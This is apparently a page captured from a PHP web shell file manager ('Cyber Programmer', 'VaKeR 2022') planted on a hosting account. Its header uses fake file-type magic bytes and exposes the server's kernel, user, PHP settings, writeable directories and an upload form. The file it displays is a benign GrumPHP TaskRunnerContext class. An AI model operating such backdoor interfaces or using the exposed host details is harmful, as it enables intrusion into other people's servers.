%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/public_html/admin1/vendor/phpro/grumphp/src/Runner/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/public_html/admin1/vendor/phpro/grumphp/src/Runner/TaskRunnerContext.php
<?php

declare(strict_types=1);

namespace GrumPHP\Runner;

use GrumPHP\Collection\TasksCollection;
use GrumPHP\Task\Context\ContextInterface;
use GrumPHP\TestSuite\TestSuiteInterface;

/**
 * @psalm-readonly
 */
class TaskRunnerContext
{
    /**
     * @var ContextInterface
     */
    private $taskContext;

    /**
     * @var bool
     */
    private $skipSuccessOutput = false;

    /**
     * @var null|TestSuiteInterface
     */
    private $testSuite;

    /**
     * @var string[]
     */
    private $taskNames;

    /**
     * @var TasksCollection
     */
    private $tasks;

    /**
     * @param string[] $taskNames
     */
    public function __construct(
        ContextInterface $taskContext,
        TestSuiteInterface $testSuite = null,
        array $taskNames = []
    ) {
        $this->taskContext = $taskContext;
        $this->testSuite = $testSuite;
        $this->taskNames = $taskNames;
        $this->tasks = new TasksCollection();
    }

    public function getTaskContext(): ContextInterface
    {
        return $this->taskContext;
    }

    public function skipSuccessOutput(): bool
    {
        return $this->skipSuccessOutput;
    }

    public function withSkippedSuccessOutput(bool $skipSuccessOutput): self
    {
        $new = clone $this;
        $new->skipSuccessOutput = $skipSuccessOutput;

        return $new;
    }

    public function hasTestSuite(): bool
    {
        return null !== $this->testSuite;
    }

    public function getTestSuite(): ?TestSuiteInterface
    {
        return $this->testSuite;
    }

    /**
     * @return string[]
     */
    public function getTaskNames(): array
    {
        return $this->taskNames;
    }

    public function hasTaskNames(): bool
    {
        return !empty($this->taskNames);
    }

    public function getTasks(): TasksCollection
    {
        return $this->tasks;
    }

    public function withTasks(TasksCollection $tasks): self
    {
        $new = clone $this;
        $new->tasks = $tasks;

        return $new;
    }
}

VaKeR 2022